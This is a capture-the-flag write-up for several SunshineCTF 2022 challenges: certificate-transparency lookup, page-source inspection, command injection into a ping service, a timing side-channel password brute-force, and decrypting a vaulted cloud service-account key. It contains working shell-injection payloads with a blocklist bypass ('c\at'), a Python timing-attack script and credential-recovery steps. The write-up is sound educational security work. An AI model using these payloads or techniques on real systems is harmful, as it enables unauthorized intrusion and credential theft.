This one is simple! Just look where you might look at the cryptographic history of the sunshinectf.org domain! There's a Yeti in one and a Nimbus in another!
Here, we're asked to chech the cryptographic history of the challenge domain. Since we're talking about a website, it can only mean to check the history of its security certificates!
We can see it by visiting crt.sh. This is an OSINT Tool aimed to gather info on certificates emitted to the certificate transparency logs,
Searching for the given domain we can find the flag in the identifiers set for the certificate on the 18th of november:
Our education game servers are now secure.
They used to have flags on them, but we've made the website 100% secure now.
All malicious hackers are now instructed, do not use inspect element on this page.
Problemo solved! Navigate to our website: educashun-game.web.2022.sunshinectf.org/login.html and fetch what you need to fetch. 100% secure!
So, are you telling me that I cannot use inspect element? challenge accepted
Reviewing the page source we can easily get the flag as the text attribute of the first span element
Or else, if we really wanted to use inspect element, the "target" of this challenge is the white text at the right of the page heading
Introducing Network Pong: Pong for the Internet! In this game, you just ping random websites and try to get the lowest latency.
It is protected with state-of-the-art anti-hacking techniques, so it should be unhackable according to our security team of well-trained monkeys and felines. https://pong.web.2022.sunshinectf.org
This is a simple webpage that lets the user run the ping command, vulnerable with code injection.
I've solved with the help of hacktricks.xyz
Let's start with some basic test. Since we know that is running ping, we can try to inject something in the shell that's running it.
If we try to add a space, we'll get: Error: Please only enter the IP or domain!
By writing ;ls
we get:
/bin/bash: line 1: {ping,-c,1,: command not found
/bin/bash: line 1: ls}: command not found
So, we can see that the command is enclosed in {
in order to not have spaces
With google.com};ls;{
we get the file list:
PING google.com (142.251.161.139): 56 data bytes
ping: permission denied (are you root?)
Dockerfile
docker-entrypoint.sh
flag.txt
index.py
requirements.txt
templates
/bin/bash: line 1: {}: command not found
But if we try to use google.com};{cat,flag.txt
the following error will appear:
Error: Do not mention body parts, felines, or body parts of felines.
So it seems that cat
is filtered (using some sort of blacklist), but from the link aforementioned we can find a solution to this problem: we can escape the characters in cat
in order to not have them filtered!
google.com};{c\at,flag.txt
PING google.com (142.251.161.139): 56 data bytes
ping: permission denied (are you root?)
sun{pin9_pin9-pin9_f1@9_pin9}
I've been on a real City Pop binge and thought I would share one of my favorite albums.
- Comments added in Discord
For Timely! No off the shelf tools such as SqlMap should be necessary. If possible please refrain from using these tools as they cause unneeded load on the web server 😄 As I realize the above might be confusing. It does require smart bruteforcing, however it does not require the use of SqlMap or dumb bruteforcing tools. https://timely.web.2022.sunshinectf.org/
By visiting the website, we're preseted with just a link for a login page and the full Timely!! album from Anri.
The login page has a simple form; besides it does not seem to be vulnerable to the usual SQLi.
While trying random redentials it shows this error message:
Visiting robots.txt
, we see that we have a page /dev
.
Here there are listed two endpoints: dev/hostname
which always returns 502
and dev/users
which contains a list of users:
ahrifan111 (Disabled)
anri (Active)
admin (Disabled)
develop (Disabled)
Trying these users on the login form, we can notice that the error message is different with the active user anri
Now, let's see if there's something else in the request. Opening the request details, we can find a strange header debug-lag-fix
Fiddling with Burp, we can notice that this only appears for requests with 40 chars (exactly the length of the SHA1 hash).
Given the name of the challenge, we can guess that this time is a valid suggestion that we're closer to the solution. So I've decided to tackle it like a blind sql challenge: use this timing to decide character by character what is the password of the user.
After way too many attemps, here's the code I've used:
import requests
from urllib3 import disable_warnings
disable_warnings()
password = ""
while(len(password) < 40): #Length of the SHA1 hash
longest = -99
valid = ''
for c in "0123456789abcdef": #charset of the hex digest
try:
cur_pass = password + c
cur_pass += "0" * (40 - len(cur_pass)) #pad the rest of the hash with zeroes
url = "https://timely.web.2022.sunshinectf.org:443/login"
body={"password": cur_pass, "username": "anri"}
r = requests.post(url, json=body, verify=False)
print(c, r.headers['Debug-Lag-Fix']) # Debug print
time_ms = int(r.headers['Debug-Lag-Fix'][:-2]) # Convert the header value in int
except KeyError as e: # If the header is missing, the password is valid or the request failed
print(f"Missing header, status code {r.status_code}")
if r.status_code == 200: #Is a valid request, the password is complete!!
longest = 999
print(r.content, cur_pass)
break
if(longest < time_ms):
longest = time_ms
valid = c
password = password + valid
print(f"Using {valid} with {longest}ms, now proceeding with {password}")
And with that, you'll get the flag:
...
9 3918ns
Missing header, status code 200
b'Congrats! SUN{ci+ypopi56e5+pop2022}'
Using 9 with 999ms, now proceeding with f14586d91fbab8cbd70d3946495a0213066a2269
I made a little leaderboard listy app, it's a bit rough so please don't judge me too harshly.
By visiting the homepage, we can see a simple list with user and score.
Trying to look deeper in the page won't reveal anything more than the use of some sort of js framework
By trying to open robots.txt
, we're greeted with this:
Disallow: *
Disallow: /dev #TODO: Separate off dev branch (https://todo.sr.ht/~listydev/Listy/5)
Now, opening /dev will get us to a 404 page:
We can try to open the link in the #TODO comment
Here is the issues of this project. Inside the issue #5 (the one linked above) we can also go to the source of the project.
From there it's clear that is a cloud project created with terraform: a front-end made with next.js and the api served by a lambda function on gcp.
And that is using ansible-vault to store the secrets in the file vault.txt
.
Here are the points that cought the attention
# invoke.sh
#!/bin/bash
# Ansible-Vault unlock the gcloud credential
CRED=$(ansible-vault decrypt vault.txt --output /tmp/key.json)
gcloud auth activate-service-account listy-developer@sunshine-2022-challenges.iam.gserviceaccount
#...
curl -H "Authorization: bearer $(gcloud auth print-identity-token)" https://us-central1-sunshine-2022-challenges.cloudfunctions.net/listy\?bucket\=ssctf22-listy-leaderboard-prod
//list.js:19
//...
const response = await fetch(`https://us-central1-${LEADERBOARD_PROJECT}.cloudfunctions.net/${LEADERBOARD_FUNCTION}?bucket=${BUCKET_NAME}`, {
headers: {
Authorization: `bearer ${process.env.GCLOUD_TOKEN}`,
}
})
//...
//main.tf
################################################################
## Listy Leaderboard Buckets
################################################################
resource "google_storage_bucket" "listy-leaderboard-prod" {
name = "ssctf22-listy-leaderboard-prod"
location = "US"
force_destroy = true
}
resource "google_storage_bucket_object" "listy-leaderboard-prod" {
name = "leaderboard.csv"
bucket = google_storage_bucket.listy-leaderboard-prod.name
source = "./leaderboards/leaderboard-prod.csv"
}
resource "google_storage_bucket" "listy-leaderboard-dev" {
name = "ssctf22-listy-leaderboard-dev"
location = "US"
force_destroy = true
}
resource "google_storage_bucket_object" "listy-leaderboard-dev" {
name = "leaderboard.csv"
bucket = google_storage_bucket.listy-leaderboard-dev.name
source = "./leaderboards/leaderboard-dev.csv"
}
Now, it seems that all we have to do is to read the secret and request the content of the leaderboard-dev, right? We can do this without having to install ansible with virtualhold/ansible-vault
image:
$ docker run --rm -it --entrypoint=/bin/bash virtualhold/ansible-vault
---
$ docker cp vault.txt awesome_wu:/playbook/vault.txt
---
root@0cff51ee3821:/playbook# ansible-vault decrypt vault.txt --output /tmp/key.json
Vault password:
But what is the password?
After more time that I'm willing to admit, I've gone back to the issues, hoping to find a hint on how to solve this. And there it was: Issue #4
~listydev
Currently, I'm just using a local script w/ a vaulted file for storing a service account. Maybe pull from the gcloud command natively? For now I'm just vaulting with my email to keep secrets scanners from bugging me.
Having access to the repo, we can easily get the user email from the commit history. A git clone
later and here we are:
~/sunshine22/listy/Listy$ git log
commit 3f9c3f2c557aa81f7423d70f0a3252536e4a1f85 (HEAD -> master, origin/master, origin/HEAD)
Author: Listy Dev <dev@listy.com>
Date: Wed Nov 2 22:23:05 2022 -0600
static stuff
From now on, it's all downhill. We just have to install the google-cloud-cli (or use another container) to obtain a valid token and we can get the flag!
root@0cff51ee3821:/playbook# ansible-vault decrypt vault.txt --output /tmp/key.json
Vault password: dev@listy.com
Decryption successful
root@0cff51ee3821:/playbook# cat /tmp/key.json
{
"type": "service_account",
"project_id": "sunshine-2022-challenges",
"private_key_id": ...
}
root@0cff51ee3821:/playbook# gcloud auth activate-service-account listy-developer@sunshine-2022-challenges.iam.gserviceaccount.com '--key-file=/tmp/key.json'
Activated service account credentials for: [listy-developer@sunshine-2022-challenges.iam.gserviceaccount.com]
root@0cff51ee3821:/playbook# curl -H "Authorization: bearer $(gcloud auth print-identity-token)" https://us-central1-sunshine-2022-challenges.cloudfunctions.net/listy\?bucket\=ssctf22-listy-leaderboard-dev
[{"rank":1,"username":"Bill","points":100},{"rank":2,"username":"SpongeBob","points":50},{"rank":3,"username":"sun{5erver1e55-9cp-i5-9re@+}","points":50}]